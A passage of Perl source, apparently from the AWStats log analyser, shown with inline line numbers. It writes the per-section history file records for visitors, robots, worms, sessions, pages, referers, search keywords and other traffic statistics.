else { 6605 6606 # If this user has started a new session that is not expired 6607 print HISTORYTMP 6608"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; 6609 } 6610 } 6611 else { 6612 my $hostl = $timehostl || ''; 6613 print HISTORYTMP 6614"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; 6615 } 6616 } 6617 foreach my $key ( keys %_host_h ) { 6618 if ( $keysinkeylist{$key} ) { next; } 6619 if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { 6620 $monthhostsknown++; 6621 } 6622 my $page = $_host_p{$key} || 0; 6623 my $bytes = $_host_k{$key} || 0; 6624 my $timehostl = $_host_l{$key} || 0; 6625 my $timehosts = $_host_s{$key} || 0; 6626 my $lastpage = $_host_u{$key} || ''; 6627 if ( $timehostl && $timehosts && $lastpage ) { 6628 if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { 6629 6630 # Session for this user is expired 6631 if ($timehosts) { 6632 $_session{ GetSessionRange( $timehosts, $timehostl ) } 6633 ++; 6634 } 6635 if ($lastpage) { $_url_x{$lastpage}++; } 6636 delete $_host_s{$key}; 6637 delete $_host_u{$key}; 6638 print HISTORYTMP 6639"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; 6640 } 6641 else { 6642 6643 # If this user has started a new session that is not expired 6644 print HISTORYTMP 6645"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n"; 6646 } 6647 } 6648 else { 6649 my $hostl = $timehostl || ''; 6650 print HISTORYTMP 6651"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n"; 6652 } 6653 } 6654 $MonthUnique{ $year . $month } = ( scalar keys %_host_p ); 6655 $MonthHostsKnown{ $year . $month } = $monthhostsknown; 6656 $MonthHostsUnknown{ $year . $month } = 6657 ( scalar keys %_host_h ) - $monthhostsknown; 6658 print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n"; 6659 } 6660 if ( $sectiontosave eq 'login' ) { 6661 print HISTORYTMP "\n"; 6662 if ($xml) { 6663 print HISTORYTMP 6664"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n"; 6665 } 6666 print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n"; 6667 print HISTORYTMP 6668"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n"; 6669 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6670 print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}" 6671 . ( scalar keys %_login_h ) 6672 . "${xmlbe}\n"; 6673 6674# We save login list in score sorted order to get a -output faster and with less use of memory. 6675 &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, 6676 \%_login_p ); 6677 my %keysinkeylist = (); 6678 foreach (@keylist) { 6679 $keysinkeylist{$_} = 1; 6680 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6681 . int( $_login_p{$_} || 0 ) 6682 . "${xmlrs}" 6683 . int( $_login_h{$_} || 0 ) 6684 . "${xmlrs}" 6685 . int( $_login_k{$_} || 0 ) 6686 . "${xmlrs}" 6687 . ( $_login_l{$_} || '' ) 6688 . "${xmlre}\n"; 6689 } 6690 foreach ( keys %_login_h ) { 6691 if ( $keysinkeylist{$_} ) { next; } 6692 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6693 . int( $_login_p{$_} || 0 ) 6694 . "${xmlrs}" 6695 . int( $_login_h{$_} || 0 ) 6696 . "${xmlrs}" 6697 . int( $_login_k{$_} || 0 ) 6698 . "${xmlrs}" 6699 . ( $_login_l{$_} || '' ) 6700 . "${xmlre}\n"; 6701 } 6702 print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n"; 6703 } 6704 if ( $sectiontosave eq 'robot' ) { 6705 print HISTORYTMP "\n"; 6706 if ($xml) { 6707 print HISTORYTMP 6708"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n"; 6709 } 6710 print HISTORYTMP 6711 "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n"; 6712 print HISTORYTMP 6713"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n"; 6714 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6715 print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}" 6716 . ( scalar keys %_robot_h ) 6717 . "${xmlbe}\n"; 6718 6719# We save robot list in score sorted order to get a -output faster and with less use of memory. 6720 &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, 6721 \%_robot_h ); 6722 my %keysinkeylist = (); 6723 foreach (@keylist) { 6724 $keysinkeylist{$_} = 1; 6725 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6726 . int( $_robot_h{$_} ) 6727 . "${xmlrs}" 6728 . int( $_robot_k{$_} ) 6729 . "${xmlrs}$_robot_l{$_}${xmlrs}" 6730 . int( $_robot_r{$_} || 0 ) 6731 . "${xmlre}\n"; 6732 } 6733 foreach ( keys %_robot_h ) { 6734 if ( $keysinkeylist{$_} ) { next; } 6735 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6736 . int( $_robot_h{$_} ) 6737 . "${xmlrs}" 6738 . int( $_robot_k{$_} ) 6739 . "${xmlrs}$_robot_l{$_}${xmlrs}" 6740 . int( $_robot_r{$_} || 0 ) 6741 . "${xmlre}\n"; 6742 } 6743 print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n"; 6744 } 6745 if ( $sectiontosave eq 'worms' ) { 6746 print HISTORYTMP "\n"; 6747 if ($xml) { 6748 print HISTORYTMP 6749"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n"; 6750 } 6751 print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n"; 6752 print HISTORYTMP 6753"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n"; 6754 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6755 print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}" 6756 . ( scalar keys %_worm_h ) 6757 . "${xmlbe}\n"; 6758 6759# We save worm list in score sorted order to get a -output faster and with less use of memory. 6760 &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, 6761 \%_worm_h ); 6762 my %keysinkeylist = (); 6763 foreach (@keylist) { 6764 $keysinkeylist{$_} = 1; 6765 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6766 . int( $_worm_h{$_} ) 6767 . "${xmlrs}" 6768 . int( $_worm_k{$_} ) 6769 . "${xmlrs}$_worm_l{$_}${xmlre}\n"; 6770 } 6771 foreach ( keys %_worm_h ) { 6772 if ( $keysinkeylist{$_} ) { next; } 6773 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6774 . int( $_worm_h{$_} ) 6775 . "${xmlrs}" 6776 . int( $_worm_k{$_} ) 6777 . "${xmlrs}$_worm_l{$_}${xmlre}\n"; 6778 } 6779 print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n"; 6780 } 6781 if ( $sectiontosave eq 'emailsender' ) { 6782 print HISTORYTMP "\n"; 6783 if ($xml) { 6784 print HISTORYTMP 6785"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; 6786 } 6787 print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; 6788 print HISTORYTMP 6789"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n"; 6790 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6791 print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}" 6792 . ( scalar keys %_emails_h ) 6793 . "${xmlbe}\n"; 6794 6795# We save sender email list in score sorted order to get a -output faster and with less use of memory. 6796 &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, 6797 \%_emails_h ); 6798 my %keysinkeylist = (); 6799 foreach (@keylist) { 6800 $keysinkeylist{$_} = 1; 6801 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6802 . int( $_emails_h{$_} || 0 ) 6803 . "${xmlrs}" 6804 . int( $_emails_k{$_} || 0 ) 6805 . "${xmlrs}$_emails_l{$_}${xmlre}\n"; 6806 } 6807 foreach ( keys %_emails_h ) { 6808 if ( $keysinkeylist{$_} ) { next; } 6809 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6810 . int( $_emails_h{$_} || 0 ) 6811 . "${xmlrs}" 6812 . int( $_emails_k{$_} || 0 ) 6813 . "${xmlrs}$_emails_l{$_}${xmlre}\n"; 6814 } 6815 print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n"; 6816 } 6817 if ( $sectiontosave eq 'emailreceiver' ) { 6818 print HISTORYTMP "\n"; 6819 if ($xml) { 6820 print HISTORYTMP 6821"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n"; 6822 } 6823 print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n"; 6824 print HISTORYTMP 6825"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n"; 6826 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6827 print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}" 6828 . ( scalar keys %_emailr_h ) 6829 . "${xmlbe}\n"; 6830 6831# We save receiver email list in score sorted order to get a -output faster and with less use of memory. 6832 &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, 6833 \%_emailr_h ); 6834 my %keysinkeylist = (); 6835 foreach (@keylist) { 6836 $keysinkeylist{$_} = 1; 6837 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6838 . int( $_emailr_h{$_} || 0 ) 6839 . "${xmlrs}" 6840 . int( $_emailr_k{$_} || 0 ) 6841 . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; 6842 } 6843 foreach ( keys %_emailr_h ) { 6844 if ( $keysinkeylist{$_} ) { next; } 6845 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6846 . int( $_emailr_h{$_} || 0 ) 6847 . "${xmlrs}" 6848 . int( $_emailr_k{$_} || 0 ) 6849 . "${xmlrs}$_emailr_l{$_}${xmlre}\n"; 6850 } 6851 print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n"; 6852 } 6853 6854 # Navigation 6855 if ( $sectiontosave eq 'session' ) 6856 { # This section must be saved after VISITOR section is read 6857 print HISTORYTMP "\n"; 6858 if ($xml) { 6859 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6860 } 6861 print HISTORYTMP "# Session range - Number of visits\n"; 6862 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6863 print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}" 6864 . ( scalar keys %_session ) 6865 . "${xmlbe}\n"; 6866 foreach ( keys %_session ) { 6867 print HISTORYTMP "${xmlrb}$_${xmlrs}" 6868 . int( $_session{$_} ) 6869 . "${xmlre}\n"; 6870 } 6871 print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n"; 6872 } 6873 if ( $sectiontosave eq 'sider' ) 6874 { # This section must be saved after VISITOR section is read 6875 print HISTORYTMP "\n"; 6876 if ($xml) { 6877 print HISTORYTMP 6878"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n"; 6879 } 6880 print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n"; 6881 print HISTORYTMP 6882"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n"; 6883 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6884 print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}" 6885 . ( scalar keys %_url_p ) 6886 . "${xmlbe}\n"; 6887 6888# We save page list in score sorted order to get a -output faster and with less use of memory. 6889 &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, 6890 \%_url_p ); 6891 %keysinkeylist = (); 6892 foreach (@keylist) { 6893 $keysinkeylist{$_} = 1; 6894 my $newkey = $_; 6895 $newkey =~ s/([^:])\/\//$1\//g 6896 ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm 6897 print HISTORYTMP "${xmlrb}" 6898 . XMLEncodeForHisto($newkey) 6899 . "${xmlrs}" 6900 . int( $_url_p{$_} || 0 ) 6901 . "${xmlrs}" 6902 . int( $_url_k{$_} || 0 ) 6903 . "${xmlrs}" 6904 . int( $_url_e{$_} || 0 ) 6905 . "${xmlrs}" 6906 . int( $_url_x{$_} || 0 ) 6907 . "${xmlre}\n"; 6908 } 6909 foreach ( keys %_url_p ) { 6910 if ( $keysinkeylist{$_} ) { next; } 6911 my $newkey = $_; 6912 $newkey =~ s/([^:])\/\//$1\//g 6913 ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm 6914 print HISTORYTMP "${xmlrb}" 6915 . XMLEncodeForHisto($newkey) 6916 . "${xmlrs}" 6917 . int( $_url_p{$_} || 0 ) 6918 . "${xmlrs}" 6919 . int( $_url_k{$_} || 0 ) 6920 . "${xmlrs}" 6921 . int( $_url_e{$_} || 0 ) 6922 . "${xmlrs}" 6923 . int( $_url_x{$_} || 0 ) 6924 . "${xmlre}\n"; 6925 } 6926 print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n"; 6927 } 6928 if ( $sectiontosave eq 'filetypes' ) { 6929 print HISTORYTMP "\n"; 6930 if ($xml) { 6931 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6932 } 6933 print HISTORYTMP 6934"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n"; 6935 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6936 print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}" 6937 . ( scalar keys %_filetypes_h ) 6938 . "${xmlbe}\n"; 6939 foreach ( keys %_filetypes_h ) { 6940 my $hits = $_filetypes_h{$_} || 0; 6941 my $bytes = $_filetypes_k{$_} || 0; 6942 my $bytesbefore = $_filetypes_gz_in{$_} || 0; 6943 my $bytesafter = $_filetypes_gz_out{$_} || 0; 6944 print HISTORYTMP 6945"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n"; 6946 } 6947 print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n"; 6948 } 6949 if ( $sectiontosave eq 'downloads' ) { 6950 print HISTORYTMP "\n"; 6951 if ($xml) { 6952 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6953 } 6954 print HISTORYTMP "# Downloads - Hits - Bandwidth\n"; 6955 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6956 print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}" 6957 . ( scalar keys %_downloads ) 6958 . "${xmlbe}\n"; 6959 for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ 6960 print HISTORYTMP "${xmlrb}" 6961 . XMLEncodeForHisto($u) 6962 . "${xmlrs}" 6963 . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0) 6964 . "${xmlrs}" 6965 . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0) 6966 ."${xmlrs}" 6967 . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0) 6968 ."${xmlre}\n"; 6969 } 6970 print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n"; 6971 } 6972 if ( $sectiontosave eq 'os' ) { 6973 print HISTORYTMP "\n"; 6974 if ($xml) { 6975 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6976 } 6977 print HISTORYTMP "# OS ID - Hits\n"; 6978 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6979 print HISTORYTMP "${xmlbb}BEGIN_OS ID - Hits - Pages${xmlbs}" 6980 . ( scalar keys %_os_h ) 6981 . "${xmlbe}\n"; 6982 foreach ( keys %_os_h ) { 6983 my $hits = $_os_h{$_} || 0; 6984 my $pages = $_os_p{$_} || 0; 6985 print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; 6986 } 6987 print HISTORYTMP "${xmleb}END_OS${xmlee}\n"; 6988 } 6989 if ( $sectiontosave eq 'browser' ) { 6990 print HISTORYTMP "\n"; 6991 if ($xml) { 6992 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6993 } 6994 print HISTORYTMP "# Browser ID - Hits - Pages\n"; 6995 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6996 print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}" 6997 . ( scalar keys %_browser_h ) 6998 . "${xmlbe}\n"; 6999 foreach ( keys %_browser_h ) { 7000 my $hits = $_browser_h{$_} || 0; 7001 my $pages = $_browser_p{$_} || 0; 7002 print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n"; 7003 } 7004 print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n"; 7005 } 7006 if ( $sectiontosave eq 'screensize' ) { 7007 print HISTORYTMP "\n"; 7008 if ($xml) { 7009 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7010 } 7011 print HISTORYTMP "# Screen size - Hits\n"; 7012 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7013 print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}" 7014 . ( scalar keys %_screensize_h ) 7015 . "${xmlbe}\n"; 7016 foreach ( keys %_screensize_h ) { 7017 print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n"; 7018 } 7019 print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n"; 7020 } 7021 7022 # Referer 7023 if ( $sectiontosave eq 'unknownreferer' ) { 7024 print HISTORYTMP "\n"; 7025 if ($xml) { 7026 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7027 } 7028 print HISTORYTMP "# Unknown referer OS - Last visit date\n"; 7029 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7030 print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}" 7031 . ( scalar keys %_unknownreferer_l ) 7032 . "${xmlbe}\n"; 7033 foreach ( keys %_unknownreferer_l ) { 7034 print HISTORYTMP "${xmlrb}" 7035 . XMLEncodeForHisto($_) 7036 . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n"; 7037 } 7038 print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n"; 7039 } 7040 if ( $sectiontosave eq 'unknownrefererbrowser' ) { 7041 print HISTORYTMP "\n"; 7042 if ($xml) { 7043 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7044 } 7045 print HISTORYTMP "# Unknown referer Browser - Last visit date\n"; 7046 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7047 print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}" 7048 . ( scalar keys %_unknownrefererbrowser_l ) 7049 . "${xmlbe}\n"; 7050 foreach ( keys %_unknownrefererbrowser_l ) { 7051 print HISTORYTMP "${xmlrb}" 7052 . XMLEncodeForHisto($_) 7053 . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n"; 7054 } 7055 print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n"; 7056 } 7057 if ( $sectiontosave eq 'origin' ) { 7058 print HISTORYTMP "\n"; 7059 if ($xml) { 7060 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7061 } 7062 print HISTORYTMP "# Origin - Pages - Hits \n"; 7063 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7064 print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n"; 7065 print HISTORYTMP "${xmlrb}From0${xmlrs}" 7066 . int( $_from_p[0] ) 7067 . "${xmlrs}" 7068 . int( $_from_h[0] ) 7069 . "${xmlre}\n"; 7070 print HISTORYTMP "${xmlrb}From1${xmlrs}" 7071 . int( $_from_p[1] ) 7072 . "${xmlrs}" 7073 . int( $_from_h[1] ) 7074 . "${xmlre}\n"; 7075 print HISTORYTMP "${xmlrb}From2${xmlrs}" 7076 . int( $_from_p[2] ) 7077 . "${xmlrs}" 7078 . int( $_from_h[2] ) 7079 . "${xmlre}\n"; 7080 print HISTORYTMP "${xmlrb}From3${xmlrs}" 7081 . int( $_from_p[3] ) 7082 . "${xmlrs}" 7083 . int( $_from_h[3] ) 7084 . "${xmlre}\n"; 7085 print HISTORYTMP "${xmlrb}From4${xmlrs}" 7086 . int( $_from_p[4] ) 7087 . "${xmlrs}" 7088 . int( $_from_h[4] ) 7089 . "${xmlre}\n"; # Same site 7090 print HISTORYTMP "${xmlrb}From5${xmlrs}" 7091 . int( $_from_p[5] ) 7092 . "${xmlrs}" 7093 . int( $_from_h[5] ) 7094 . "${xmlre}\n"; # News 7095 print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n"; 7096 } 7097 if ( $sectiontosave eq 'sereferrals' ) { 7098 print HISTORYTMP "\n"; 7099 if ($xml) { 7100 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7101 } 7102 print HISTORYTMP "# Search engine referers ID - Pages - Hits\n"; 7103 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7104 print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}" 7105 . ( scalar keys %_se_referrals_h ) 7106 . "${xmlbe}\n"; 7107 foreach ( keys %_se_referrals_h ) { 7108 print HISTORYTMP "${xmlrb}$_${xmlrs}" 7109 . int( $_se_referrals_p{$_} || 0 ) 7110 . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n"; 7111 } 7112 print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n"; 7113 } 7114 if ( $sectiontosave eq 'pagerefs' ) { 7115 print HISTORYTMP "\n"; 7116 if ($xml) { 7117 print HISTORYTMP 7118"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n"; 7119 } 7120 print HISTORYTMP "# External page referers - Pages - Hits\n"; 7121 print HISTORYTMP 7122"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n"; 7123 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7124 print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}" 7125 . ( scalar keys %_pagesrefs_h ) 7126 . "${xmlbe}\n"; 7127 7128# We save page list in score sorted order to get a -output faster and with less use of memory. 7129 &BuildKeyList( 7130 $MaxNbOf{'RefererShown'}, $MinHit{'Refer'}, 7131 \%_pagesrefs_h, \%_pagesrefs_p 7132 ); 7133 %keysinkeylist = (); 7134 foreach (@keylist) { 7135 $keysinkeylist{$_} = 1; 7136 my $newkey = $_; 7137 $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i 7138 ; # Remove / at end of http://.../ but not at end of http://.../dir/ 7139 print HISTORYTMP "${xmlrb}" 7140 . XMLEncodeForHisto($newkey) 7141 . "${xmlrs}" 7142 . int( $_pagesrefs_p{$_} || 0 ) 7143 . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; 7144 } 7145 foreach ( keys %_pagesrefs_h ) { 7146 if ( $keysinkeylist{$_} ) { next; } 7147 my $newkey = $_; 7148 $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i 7149 ; # Remove / at end of http://.../ but not at end of http://.../dir/ 7150 print HISTORYTMP "${xmlrb}" 7151 . XMLEncodeForHisto($newkey) 7152 . "${xmlrs}" 7153 . int( $_pagesrefs_p{$_} || 0 ) 7154 . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; 7155 } 7156 print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n"; 7157 } 7158 if ( $sectiontosave eq 'searchwords' ) { 7159 7160 # Save phrases section 7161 print HISTORYTMP "\n"; 7162 if ($xml) { 7163 print HISTORYTMP 7164"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n"; 7165 } 7166 print HISTORYTMP "# Search keyphrases - Number of search\n"; 7167 print HISTORYTMP 7168"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n"; 7169 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7170 print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}" 7171 . ( scalar keys %_keyphrases ) 7172 . "${xmlbe}\n"; 7173 7174 # We will also build _keywords 7175 %_keywords = (); 7176 7177# We save key list in score sorted order to get a -output faster and with less use of memory. 7178 &BuildKeyList( $MaxNbOf{'KeywordsShown'}, 7179 $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases ); 7180 %keysinkeylist = (); 7181 foreach my $key (@keylist) { 7182 $keysinkeylist{$key} = 1; 7183 my $keyphrase = $key; 7184 $keyphrase =~ tr/ /\+/s; 7185 print HISTORYTMP "${xmlrb}" 7186 . XMLEncodeForHisto($keyphrase) 7187 . "${xmlrs}" 7188 . $_keyphrases{$key} 7189 . "${xmlre}\n"; 7190 foreach ( split( /\+/, $key ) ) { 7191 $_keywords{$_} += $_keyphrases{$key}; 7192 } # To init %_keywords 7193 } 7194 foreach my $key ( keys %_keyphrases ) { 7195 if ( $keysinkeylist{$key} ) { next; } 7196 my $keyphrase = $key; 7197 $keyphrase =~ tr/ /\+/s; 7198 print HISTORYTMP "${xmlrb}" 7199 . XMLEncodeForHisto($keyphrase) 7200 . "${xmlrs}" 7201 . $_keyphrases{$key} 7202 . "${xmlre}\n"; 7203 foreach ( split( /\+/, $key ) ) { 7204 $_keywords{$_} += $_keyphrases{$key}; 7205 } # To init %_keywords 7206 } 7207 print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n"; 7208 7209 # Now save keywords section 7210 print HISTORYTMP "\n"; 7211 if ($xml) { 7212 print HISTORYTMP 7213"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n"; 7214 } 7215 print HISTORYTMP "# Search keywords - Number of search\n"; 7216 print HISTORYTMP 7217"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n"; 7218 $ValueInFile{"keywords"} = tell HISTORYTMP; 7219 print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}" 7220 . ( scalar keys %_keywords ) 7221 . "${xmlbe}\n"; 7222 7223# We save key list in score sorted order to get a -output faster and with less use of memory. 7224 &BuildKeyList( $MaxNbOf{'KeywordsShown'}, 7225 $MinHit{'Keyword'}, \%_keywords, \%_keywords ); 7226 %keysinkeylist = (); 7227 foreach (@keylist) { 7228 $keysinkeylist{$_} = 1; 7229 my $keyword = $_; 7230 print HISTORYTMP "${xmlrb}" 7231 . XMLEncodeForHisto($keyword) 7232 . "${xmlrs}" 7233 . $_keywords{$_} 7234 . "${xmlre}\n"; 7235 } 7236 foreach ( keys %_keywords ) { 7237 if ( $keysinkeylist{$_} ) { next; } 7238 my $keyword = $_; 7239 print HISTORYTMP "${xmlrb}" 7240 . XMLEncodeForHisto($keyword) 7241 . "${xmlrs}" 7242 . $_keywords{$_} 7243 . "${xmlre}\n"; 7244 } 7245 print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n"; 7246 7247 } 7248 7249 # Other - Errors 7250 if ( $sectiontosave eq 'cluster' ) { 7251 print HISTORYTMP "\n"; 7252 if ($xml) { 7253 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7254 } 7255 print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n"; 7256 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7257 print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}" 7258 . ( scalar keys %_cluster_h ) 7259 . "${xmlbe}\n"; 7260 foreach ( keys %_cluster_h ) { 7261 print HISTORYTMP "${xmlrb}$_${xmlrs}" 7262 . int( $_cluster_p{$_} || 0 ) 7263 . "${xmlrs}" 7264 . int( $_cluster_h{$_} || 0 ) 7265 . "${xmlrs}" 7266 . int( $_cluster_k{$_} || 0 ) 7267 . "${xmlre}\n"; 7268 } 7269 print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n"; 7270 } 7271 if ( $sectiontosave eq 'misc' ) { 7272 print HISTORYTMP "\n"; 7273 if ($xml) { 7274 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 7275 } 7276 print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n"; 7277 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 7278 print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}" 7279 . ( scalar keys %MiscListCalc ) 7280 . "${xmlbe}\n"; 7281 foreach ( keys %MiscListCalc ) { 7282 print HISTORYTMP "${xmlrb}$_${xmlrs}" 7283 . int( $_misc_p{$_} || 0 ) 7284 . "${xmlrs}" 7285 . int( $_misc_h{$_} || 0 ) 7286 . 